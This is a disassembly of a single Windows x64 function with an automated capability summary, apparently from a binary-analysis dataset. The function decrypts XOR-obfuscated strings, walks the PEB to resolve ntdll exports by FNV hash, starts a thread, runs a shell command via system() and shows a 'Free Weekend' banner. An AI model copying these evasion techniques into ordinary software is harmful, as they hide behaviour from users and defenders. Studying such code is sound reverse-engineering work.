Function at 0x140005110
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Execute command
Get disk information
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x9d0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x14009e080]
xor rax, rsp
mov qword [rsp + 0x990], rax
xor ebx, ebx
mov rax, qword [0x140088ca0]
mov qword [rsp + 0x50], rax
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], bl
je 0x1400052c0
cmp r12d, 2
jl 0x140005280
movdqa xmm4, xmmword [0x140091590]
mov r13d, 4
movd xmm6, r13d
mov edi, Ordinal_35
movd xmm5, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.5555555555555555O]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.5555555555555555O]
movd xmm0, dword [rsp + 0x54]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
jmp 0x1400052ca
lea r9, [rsp + 0x50]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140005290
mov r13d, 4
lea edi, [r13 + 0x1b]
xorps xmm0, xmm0
movups xmmword [rsp + 0x3a0], xmm0
mov qword [rsp + 0x3b0], rbx
mov qword [rsp + 0x3b8], rbx
lea rax, [rsp + 0x50]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], bl
jne 0x1400052f4
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x3a0]
call fcn.140010150
nop
movsd xmm0, qword [0x1400888d0]
movsd qword [rsp + 0x88], xmm0
movzx ecx, word [0x1400888d8]
mov word [rsp + 0x90], cx
movzx eax, byte [0x1400888da]
mov byte [rsp + 0x88], WSASetLastError
xor byte [rsp + 0x89], 0x36
xor byte [rsp + 0x8a], 0x37
xor byte [rsp + 0x8b], 0x38
xor byte [rsp + 0x8c], 0x39
xor byte [rsp + 0x8d], 0x3a
xor byte [rsp + 0x8e], 0x3b
xor byte [rsp + 0x8f], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x90], cl
xor byte [rsp + 0x91], 0x3e
xor al, 0x3f
mov byte [rsp + 0x92], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x380], xmm0
mov qword [rsp + 0x390], rbx
mov qword [rsp + 0x398], rbx
lea rax, [rsp + 0x88]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400053c0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x380]
call fcn.140010150
nop
movups xmm0, xmmword [0x140088da0]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088db0]
movups xmmword [rsp + 0x120], xmm1
movups xmm0, xmmword [0x140088dc0]
movups xmmword [rsp + 0x130], xmm0
movups xmm1, xmmword [0x140088dd0]
movups xmmword [rsp + 0x140], xmm1
movzx eax, byte [0x140088de0]
mov byte [rsp + 0x150], al
mov r8d, ebx
cmp r12d, 2
jl 0x140005583
movdqa xmm5, xmmword [0x140091530]
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140091560]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140005480
cmp r8d, 0x41
jge 0x1400055d0
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x1400055a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], rbx
mov qword [rsp + 0x378], rbx
lea rax, [rsp + 0x110]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400055f6
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x360]
call fcn.140010150
nop
mov eax, dword [0x140088de4]
mov dword [rsp + 0x68], eax
cmp byte [0x140088de7], 0
je 0x140005700
cmp r12d, 2
jl 0x1400056bc
movdqa xmm3, xmmword [0x140091530]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140091560]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.5555555555555555O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x140005700
lea r9, [rsp + 0x68]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400056d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
mov qword [rsp + 0x350], rbx
mov qword [rsp + 0x358], rbx
lea rax, [rsp + 0x68]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140005723
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x340]
call fcn.140010150
nop
movups xmm0, xmmword [str._BCHJ]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x140088c50]
movsd qword [rsp + 0xc0], xmm0
mov eax, dword [0x140088c58]
mov dword [rsp + 0xc8], eax
movzx eax, byte [0x140088c5c]
mov byte [rsp + 0xcc], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400058d3
movdqa xmm5, xmmword [0x140091530]
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140091560]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400057d0
cmp r8d, 0x1d
jge 0x140005920
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400058f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c0], xmm0
mov qword [rsp + 0x3d0], rbx
mov qword [rsp + 0x3d8], rbx
lea rax, [rsp + 0xb0]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140005943
mov r8, rsi
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x3c0]
call fcn.140010150
nop
xor edx, edx
mov r8d, 0x278
lea rcx, [rsp + 0x600]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x110]
mov qword [rsp + 0x1a8], rax
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x110]
call fcn.14000e7a0
mov r15, rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x170], rax
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x2c0]
call fcn.14000e7a0
mov r14, rax
lea rax, [rsp + 0x278]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x278]
call fcn.14000e7a0
mov rsi, rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x210]
call fcn.14000e7a0
mov rdi, rax
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x188]
call fcn.14000e7a0
nop
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140002500
nop
mov ecx, 8
call fcn.140074b04
lea rcx, [0x140004750]
mov qword [rax], rcx
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x308]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x1400118f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x300], rax
test rax, rax
je 0x14000d14c
call fcn.140004950
lea rcx, [rsp + 0x600]
call fcn.14001d6a0
cmp byte [rsp + 0x810], 0
jne 0x140005b31
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x88]
call fcn.14000d1d0
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x140005b05
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor byte [rax + 9], 0x3e
xor dl, 0x3f
mov byte [rax + 0xa], dl
mov rdx, rax
call fcn.14000f4c0
mov rcx, rax
lea rdx, [rsp + 0x818]
call fcn.14000f7b0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [str.XYS_]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x140088a58]
movsd qword [rsp + 0xc0], xmm0
movzx eax, word [0x140088a60]
mov word [rsp + 0xc8], ax
mov edi, Ordinal_35
cmp byte [0x140088a61], 0
je 0x140005d10
mov r8d, ebx
cmp r12d, 2
jl 0x140005cc3
movdqa xmm5, xmmword [0x140091530]
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140091560]
movd xmm8, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140005bc0
cmp r8d, 0x1a
jge 0x140005d10
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140005ce0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov esi, dword [rcx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x14000d144
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x14000d144
mov r14d, dword [rsi + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + r14]
add rdx, r9
mov r8d, 0x1aabe13c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000d13b
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005d90
cmp r8d, 0x6fcb4df5
jne 0x14000d13b
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rsp + 0xb0]
call rdx
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_n__________________________________________n_______________________________________n_______________________________________n_________________________________________n________________________________________n_n__________________Free_Weekend_____________n_t
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov rcx, rax
lea rdx, [0x1400884e9]
call fcn.14000f4c0
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400889d0]
movsd qword [rsp + 0x178], xmm0
movzx eax, byte [0x1400889d8]
mov byte [rsp + 0x178], 0xa
xor byte [rsp + 0x179], 0x36
xor byte [rsp + 0x17a], 0x37
xor byte [rsp + 0x17b], 0x38
xor byte [rsp + 0x17c], 0x39
xor byte [rsp + 0x17d], 0x3a
xor byte [rsp + 0x17e], 0x3b
xor byte [rsp + 0x17f], 0x3c
xor al, 0x3d
mov byte [rsp + 0x180], al
lea rdx, [rsp + 0x178]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov edx, 5
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x310], 0
movsd xmm0, qword [0x1400888c0]
movsd qword [rsp + 0x1f0], xmm0
mov eax, dword [0x1400888c8]
mov dword [rsp + 0x1f8], eax
movzx eax, word [0x1400888cc]
mov word [rsp + 0x1fc], ax
cmp byte [0x1400888cd], 0
je 0x14000605c
mov ecx, ebx
cmp r12d, 2
jl 0x14000601f
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movd xmm5, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400888c0]
xorps xmm2, xmm0
movd dword [rsp + 0x1f0], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1f4]
xorps xmm2, xmm1
movd dword [rsp + 0x1f4], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x1f0]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x140006030
lea rdx, [rsp + 0x1f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [rsp + 0x310]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000f7f0
lea rcx, [0x140088518]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x110]
call fcn.14000e7a0
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.14001ef50
cmp byte [rsp + 0x810], 0
jne 0x14000618b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x88]
call fcn.14000d1d0
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x14000610d
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor byte [rax + 9], 0x3e
xor dl, 0x3f
mov byte [rax + 0xa], dl
mov rdx, rax
call fcn.14000f4c0
mov rcx, rax
lea rdx, [rsp + 0x818]
call fcn.14000f7b0
lea r8, [rsp + 0x818]
lea rdx, str.Error:
lea rcx, [rsp + 0x2c0]
call fcn.14000f690
nop
lea r8, [0x140088838]
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.14000f2c0
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140020fe0
nop
lea rcx, [rsp + 0x2c0]
call fcn.14000e670
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [str._ERJ]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140088ad0]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140088ad4]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x140088ad6]
mov byte [rsp + 0x4e], al
mov r8d, ebx
mov edi, Ordinal_35
cmp r12d, 2
jl 0x1400062d3
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movd xmm5, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._ERJ]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400062e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rax, [rsp + 0x40]
mov r14, 0xffffffffffffffff
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006340
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x110]
call fcn.140010150
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x600]
call fcn.140020fe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], rax
mov eax, dword [0x1400889b8]
mov dword [rsp + 0x68], eax
movzx ecx, word [0x1400889bc]
mov word [rsp + 0x6c], cx
movzx eax, byte [0x1400889be]
mov byte [rsp + 0x68], Ordinal_50
xor byte [rsp + 0x69], 0x36
xor byte [rsp + 0x6a], 0x37
xor byte [rsp + 0x6b], 0x38
xor cl, 0x39
mov byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], 0x3a
xor al, 0x3b
mov byte [rsp + 0x6e], al
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rax, [rsp + 0x68]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400063f0
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x110]
call fcn.140010150
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x600]
call fcn.14001b080
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x880]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [str.v_fkoPT_SJMc_t]
movups xmmword [rsp + 0xb0], xmm0
movsd xmm0, qword [0x140088af8]
movsd qword [rsp + 0xc0], xmm0
movzx eax, word [0x140088b00]
mov word [rsp + 0xc8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0xca], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400065d5
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
